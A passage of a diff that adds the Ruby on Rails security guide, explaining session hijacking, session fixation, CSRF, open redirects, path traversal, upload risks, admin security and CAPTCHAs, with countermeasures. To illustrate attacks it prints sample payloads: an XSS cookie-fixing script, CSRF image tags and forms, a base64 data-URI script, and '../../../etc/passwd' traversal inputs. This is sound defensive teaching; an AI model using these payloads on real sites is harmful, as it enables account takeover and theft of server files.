processing all the guides, pass `ALL=1`. + +If you want to generate guides in a language other than English, you can keep them in a separate directory under `source` (eg. `source/es`) and use the `GUIDES_LANGUAGE` environment variable: + +``` +bundle exec rake guides:generate GUIDES_LANGUAGE=es +``` + +If you want to see all the environment variables you can use to configure the generation script just run: + +``` +rake +``` + +### Validation + +Please validate the generated HTML with: + +``` +bundle exec rake guides:validate +``` + +Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set `WARNINGS=1` when generating guides to detect them. The warning messages suggest a solution. + +Kindle Guides +------------- + +### Generation + +To generate guides for the Kindle, use the following rake task: + +``` +bundle exec rake guides:generate:kindle +``` diff --git a/guides/source/security.md b/guides/source/security.md new file mode 100644 index 0000000000..dbec3cdd2d --- /dev/null +++ b/guides/source/security.md @@ -0,0 +1,1251 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Securing Rails Applications +=========================== + +This manual describes common security problems in web applications and how to avoid them with Rails. + +After reading this guide, you will know: + +* All countermeasures _that are highlighted_. +* The concept of sessions in Rails, what to put in there and popular attack methods. +* How just visiting a site can be a security problem (with CSRF). +* What you have to pay attention to when working with files or providing an administration interface. +* How to manage users: Logging in and out and attack methods on all layers. +* And the most popular injection attack methods. + +-------------------------------------------------------------------------------- + +Introduction +------------ + +Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. + +In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server, and the web application itself (and possibly other layers or applications). + +The Gartner Group, however, estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person. + +The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment, or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at. + +In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs, and make updating and security checks a habit (check the [Additional Resources](#additional-resources) chapter). It is done manually because that's how you find the nasty logical security problems. + +Sessions +-------- + +A good place to start looking at security is with sessions, which can be vulnerable to particular attacks. + +### What are Sessions? + +NOTE: _HTTP is a stateless protocol. Sessions make it stateful._ + +Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request. +Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application. + +A session usually consists of a hash of values and a session ID, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session ID. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method: + +```ruby +session[:user_id] = @current_user.id +User.find(session[:user_id]) +``` + +### Session ID + +NOTE: _The session ID is a 32-character random hex string._ + +The session ID is generated using `SecureRandom.hex` which generates a random hex string using platform specific methods (such as OpenSSL, /dev/urandom or Win32 CryptoAPI) for generating cryptographically secure random numbers. Currently it is not feasible to brute-force Rails' session IDs. + +### Session Hijacking + +WARNING: _Stealing a user's session ID lets an attacker use the web application in the victim's name._ + +Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session ID in the cookie identifies the session. + +Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: + +* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN, it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file: + + ```ruby + config.force_ssl = true + ``` + +* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _log-out button_ in the web application, and _make it prominent_. + +* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read [more about XSS](#cross-site-scripting-xss) later. + +* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later. + +The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from 0.5%-10% of account balance, $0.5-$30 for credit card numbers ($20-$60 with full details), $0.1-$1.5 for identities (Name, SSN & DOB), $20-$50 for retailer accounts, and $6-$10 for cloud service provider accounts, according to the [Symantec Internet Security Threat Report (2017)](https://www.symantec.com/content/dam/symantec/docs/reports/istr-22-2017-en.pdf). + +### Session Guidelines + +Here are some general guidelines on sessions. + +* _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below). +This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate. + +* _Critical data should not be stored in session_. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. + +### Encrypted Session Storage + +NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is `ActionDispatch::Session::CookieStore`._ + +The `CookieStore` saves the session hash directly in a cookie on the +client-side. The server retrieves the session hash from the cookie and +eliminates the need for a session ID. That will greatly increase the +speed of the application, but it is a controversial storage option and +you have to think about the security implications and storage +limitations of it: + +* Cookies imply a strict size limit of 4kB. This is fine as you should + not store large amounts of data in a session anyway, as described + before. Storing the current user's database id in a session is common + practice. + +* Session cookies do not invalidate themselves and can be maliciously + reused. It may be a good idea to have your application invalidate old + session cookies using a stored timestamp. + +The `CookieStore` uses the +[encrypted](http://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-encrypted) +cookie jar to provide a secure, encrypted location to store session +data. Cookie-based sessions thus provide both integrity as well as +confidentiality to their contents. The encryption key, as well as the +verification key used for +[signed](http://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed) +cookies, is derived from the `secret_key_base` configuration value. + +As of Rails 5.2 encrypted cookies and sessions are protected using AES +GCM encryption. This form of encryption is a type of Authenticated +Encryption and couples authentication and encryption in single step +while also producing shorter ciphertexts as compared to other +algorithms previously used. The key for cookies encrypted with AES GCM +are derived using a salt value defined by the +`config.action_dispatch.authenticated_encrypted_cookie_salt` +configuration value. + +Prior to this version, encrypted cookies were secured using AES in CBC +mode with HMAC using SHA1 for authentication. The keys for this type of +encryption and for HMAC verification were derived via the salts defined +by `config.action_dispatch.encrypted_cookie_salt` and +`config.action_dispatch.encrypted_signed_cookie_salt` respectively. + +Prior to Rails version 4 in both versions 2 and 3, session cookies were +protected using only HMAC verification. As such, these session cookies +only provided integrity to their content because the actual session data +was stored in plaintext encoded as base64. This is how `signed` cookies +work in the current version of Rails. These kinds of cookies are still +useful for protecting the integrity of certain client-stored data and +information. + +__Do not use a trivial secret for the `secret_key_base`, i.e. a word +from a dictionary, or one which is shorter than 30 characters! Instead +use `rails secret` to generate secret keys!__ + +It is also important to use different salt values for encrypted and +signed cookies. Using the same value for different salt configuration +values may lead to the same derived key being used for different +security features which in turn may weaken the strength of the key. + +In test and development applications get a `secret_key_base` derived from the app name. Other environments must use a random key present in `config/credentials.yml.enc`, shown here in its decrypted state: + + secret_key_base: 492f... + +If you have received an application where the secret was exposed (e.g. an application whose source was shared), strongly consider changing the secret. + +### Rotating Encrypted and Signed Cookies Configurations + +Rotation is ideal for changing cookie configurations and ensuring old cookies +aren't immediately invalid. Your users then have a chance to visit your site, +get their cookie read with an old configuration and have it rewritten with the +new change. The rotation can then be removed once you're comfortable enough +users have had their chance to get their cookies upgraded. + +It's possible to rotate the ciphers and digests used for encrypted and signed cookies. + +For instance to change the digest used for signed cookies from SHA1 to SHA256, +you would first assign the new configuration value: + +```ruby +Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256" +``` + +Now add a rotation for the old SHA1 digest so existing cookies are +seamlessly upgraded to the new SHA256 digest. + +```ruby +Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies| + cookies.rotate :signed, digest: "SHA1" +end +``` + +Then any written signed cookies will be digested with SHA256. Old cookies +that were written with SHA1 can still be read, and if accessed will be written +with the new digest so they're upgraded and won't be invalid when you remove the +rotation. + +Once users with SHA1 digested signed cookies should no longer have a chance to +have their cookies rewritten, remove the rotation. + +While you can setup as many rotations as you'd like it's not common to have many +rotations going at any one time. + +For more details on key rotation with encrypted and signed messages as +well as the various options the `rotate` method accepts, please refer to +the +[MessageEncryptor API](http://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html) +and +[MessageVerifier API](http://api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html) +documentation. + +### Replay Attacks for CookieStore Sessions + +TIP: _Another sort of attack you have to be aware of when using `CookieStore` is the replay attack._ + +It works like this: + +* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes). +* The user buys something. +* The new adjusted credit value is stored in the session. +* The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser. +* The user has their original credit back. + +Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers. Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database). + +The best _solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session. + +### Session Fixation + +NOTE: _Apart from stealing a user's session ID, the attacker may fix a session ID known to them. This is called session fixation._ + + + +This attack focuses on fixing a user's session ID known to the attacker, and forcing the user's browser into using this ID. It is therefore not necessary for the attacker to steal the session ID afterwards. Here is how this attack works: + +* The attacker creates a valid session ID: They load the login page of the web application where they want to fix the session, and take the session ID in the cookie from the response (see number 1 and 2 in the image). +* They maintain the session by accessing the web application periodically in order to keep an expiring session alive. +* The attacker forces the user's browser into using this session ID (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. +* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session ID to the trap session ID. +* As the new trap session is unused, the web application will require the user to authenticate. +* From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. + +### Session Fixation - Countermeasures + +TIP: _One line of code will protect you from session fixation._ + +The most effective countermeasure is to _issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails: + +```ruby +reset_session +``` + +If you use the popular [Devise](https://rubygems.org/gems/devise) gem for user management, it will automatically expire sessions on sign in and sign out for you. If you roll your own, remember to expire the session after your sign in action (when the session is created). This will remove values from the session, therefore _you will have to transfer them to the new session_. + +Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way. + +### Session Expiry + +NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking, and session fixation._ + +One possibility is to set the expiry time-stamp of the cookie with the session ID. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago. + +```ruby +class Session < ApplicationRecord + def self.sweep(time = 1.hour) + if time.is_a?(String) + time = time.split.inject { |count, unit| count.to_i.send(unit) } + end + + delete_all "updated_at < '#{time.ago.to_s(:db)}'" + end +end +``` + +The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a `created_at` column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above: + +```ruby +delete_all "updated_at < '#{time.ago.to_s(:db)}' OR + created_at < '#{2.days.ago.to_s(:db)}'" +``` + +Cross-Site Request Forgery (CSRF) +--------------------------------- + +This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands. + + + +In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session ID in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is that if the request comes from a site of a different domain, it will also send the cookie. Let's start with an example: + +* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file: `<img src="http://www.webapp.com/project/1/destroy">` +* Bob's session at `www.webapp.com` is still alive, because he didn't log out a few minutes ago. +* By viewing the post, the browser finds an image tag. It tries to load the suspected image from `www.webapp.com`. As explained before, it will also send along the cookie with the valid session ID. +* The web application at `www.webapp.com` verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. +* Bob doesn't notice the attack - but a few days later he finds out that project number one is gone. + +It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post, or email. + +CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works - _CSRF is an important security issue_. + +### CSRF Countermeasures + +NOTE: _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._ + +The HTTP protocol basically provides two main types of requests - GET and POST (DELETE, PUT, and PATCH should be used like POST). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST: + +**Use GET if:** + +* The interaction is more _like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup). + +**Use POST if:** + +* The interaction is more _like an order_, or +* The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or +* The user is _held accountable for the results_ of the interaction. + +If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT, or DELETE. Some legacy web browsers, however, do not support them - only GET and POST. Rails uses a hidden `_method` field to handle these cases. + +_POST requests can be sent automatically, too_. In this example, the link www.harmless.com is shown as the destination in the browser's status bar. But it has actually dynamically created a new form that sends a POST request. + +```html +<a href="http://www.harmless.com/" onclick=" + var f = document.createElement('form'); + f.style.display = 'none'; + this.parentNode.appendChild(f); + f.method = 'POST'; + f.action = 'http://www.example.com/account/destroy'; + f.submit(); + return false;">To the harmless survey</a> +``` + +Or the attacker places the code into the onmouseover event handler of an image: + +```html +<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /> +``` + +There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we must disallow cross-site `<script>` tags. Ajax requests, however, obey the browser's same-origin policy (only your own site is allowed to initiate `XmlHttpRequest`) so we can safely allow them to return JavaScript responses. + +NOTE: We can't distinguish a `<script>` tag's origin—whether it's a tag on your own site or on some other malicious site—so we must block all `<script>` across the board, even if it's actually a safe same-origin script served from your own site. In these cases, explicitly skip CSRF protection on actions that serve JavaScript meant for a `<script>` tag. + +To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created Rails applications: + +```ruby +protect_from_forgery with: :exception +``` + +This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown. + +NOTE: By default, Rails includes an [unobtrusive scripting adapter](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts), +which adds a header called `X-CSRF-Token` with the security token on every non-GET +Ajax call. Without this header, non-GET Ajax requests won't be accepted by Rails. +When using another library to make Ajax calls, it is necessary to add the security +token as a default header for Ajax calls in your library. To get the token, have +a look at `<meta name='csrf-token' content='THE-TOKEN'>` tag printed by +`<%= csrf_meta_tags %>` in your application view. + +It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself: + +```ruby +rescue_from ActionController::InvalidAuthenticityToken do |exception| + sign_out_user # Example method that will destroy the user cookies +end +``` + +The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present or is incorrect on a non-GET request. + +Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read [more about XSS](#cross-site-scripting-xss) later. + +Redirection and Files +--------------------- + +Another class of security vulnerabilities surrounds the use of redirection and files in web applications. + +### Redirection + +WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._ + +Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to=www.attacker.com. Here is an example of a legacy action: + +```ruby +def legacy + redirect_to(params.update(action:'main')) +end +``` + +This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL: + +``` +http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com +``` + +If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a permitted list approach, as opposed to removing unexpected parameters). _And if you redirect to a URL, check it with a permitted list or a regular expression_. + +#### Self-contained XSS + +Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images: + +`data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K` + +This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _do not allow the user to supply (parts of) the URL to be redirected to_. + +### File Uploads + +NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._ + +Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers, and other programs as a less privileged Unix user. + +When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a permitted list approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a restricted list approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master): + +```ruby +def sanitize_filename(filename) + filename.strip.tap do |name| + # NOTE: File.basename doesn't work right with Windows paths on Unix + # get only the filename, not the whole path + name.sub! /\A.*(\\|\/)/, '' + # Finally, replace all non alphanumeric, underscore + # or periods with underscore + name.gsub! /[^\w\.\-]/, '_' + end +end +``` + +A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server. + +The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background. + +### Executable Code in File Uploads + +WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._ + +The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file. + +_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level upwards. + +### File Downloads + +NOTE: _Make sure users cannot download arbitrary files._ + +Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded: + +```ruby +send_file('/var/www/uploads/' + params[:filename]) +``` + +Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_: + +```ruby +basename = File.expand_path('../../files', __dir__) +filename = File.expand_path(File.join(basename, @file.public_filename)) +raise if basename != + File.expand_path(File.join(File.dirname(filename), '../../../')) +send_file filename, disposition: 'inline' +``` + +Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way. + +Intranet and Admin Security +--------------------------- + +Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world. + +In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
+ +**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS. + +Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer. + +Refer to the Injection section for countermeasures against XSS. + +**CSRF** Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. + +A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/news/item/Symantec-reports-first-active-attack-on-a-DSL-router-735883.html). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for the user, but it also contained an image tag that resulted in an HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen. + +Another example changed Google Adsense's e-mail address and password. If the victim was logged into Google Adsense, the administration interface for Google advertisement campaigns, an attacker could change the credentials of the victim.
+ +Another popular attack is to spam your web application, your blog, or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. + +For _countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_. + +### Additional Precautions + +The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this: + +* It is very important to _think about the worst case_: What if someone really got hold of your cookies or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_? + +* Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though. + +* _Put the admin interface to a special subdomain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa. + +User Management +--------------- + +NOTE: _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._ + +There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features. + +Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested a URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator): + +``` +http://localhost:3006/user/activate +http://localhost:3006/user/activate?id= +``` + +This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action: + +```ruby +User.find_by_activation_code(params[:id]) +``` + +If the parameter was nil, the resulting SQL query will be + +```sql +SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1 +``` + +And thus it found the first user in the database, returned it, and logged them in. You can find out more about it in [this blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. + +### Brute-Forcing Accounts + +NOTE: _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._ + +A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes. + +Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names. + +However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts. + +In order to mitigate such attacks, _display a generic error message on forgot-password pages, too_. Moreover, you can _require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack. + +### Account Hijacking + +Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?. + +#### Passwords + +Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_. + +#### E-Mail + +However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_. + +#### Other + +Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in an HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. + +### CAPTCHAs + +INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect registration forms from attackers and comment forms from automatic spam bots by asking the user to type the letters of a distorted image. This is the positive CAPTCHA, but there is also the negative CAPTCHA. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._ + +A popular positive CAPTCHA API is [reCAPTCHA](https://developers.google.com/recaptcha/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API. + +You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. +The problem with CAPTCHAs is that they have a negative impact on the user experience. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. Still, positive CAPTCHAs are one of the best methods to prevent all kinds of bots from submitting forms. + +Most bots are really dumb. They crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. + +Note that negative CAPTCHAs are only effective against dumb bots and won't suffice to protect critical applications from targeted bots. Still, the negative and positive CAPTCHAs can be combined to increase the performance, e.g., if the "honeypot" field is not empty (bot detected), you won't need to verify the positive CAPTCHA, which would require an HTTPS request to Google ReCaptcha before computing the response. + +Here are some ideas how to hide honeypot fields by JavaScript and/or CSS: + +* position the fields off of the visible area of the page +* make the elements very small or color them the same as the background of the page +* leave the fields displayed, but tell humans to leave them blank + +The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. + +You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html): + +* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid. +* Randomize the field names +* Include more than one honeypot field of all types, including submission buttons + +Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _negative CAPTCHAs might not be good to protect login forms_. + +### Logging + +WARNING: 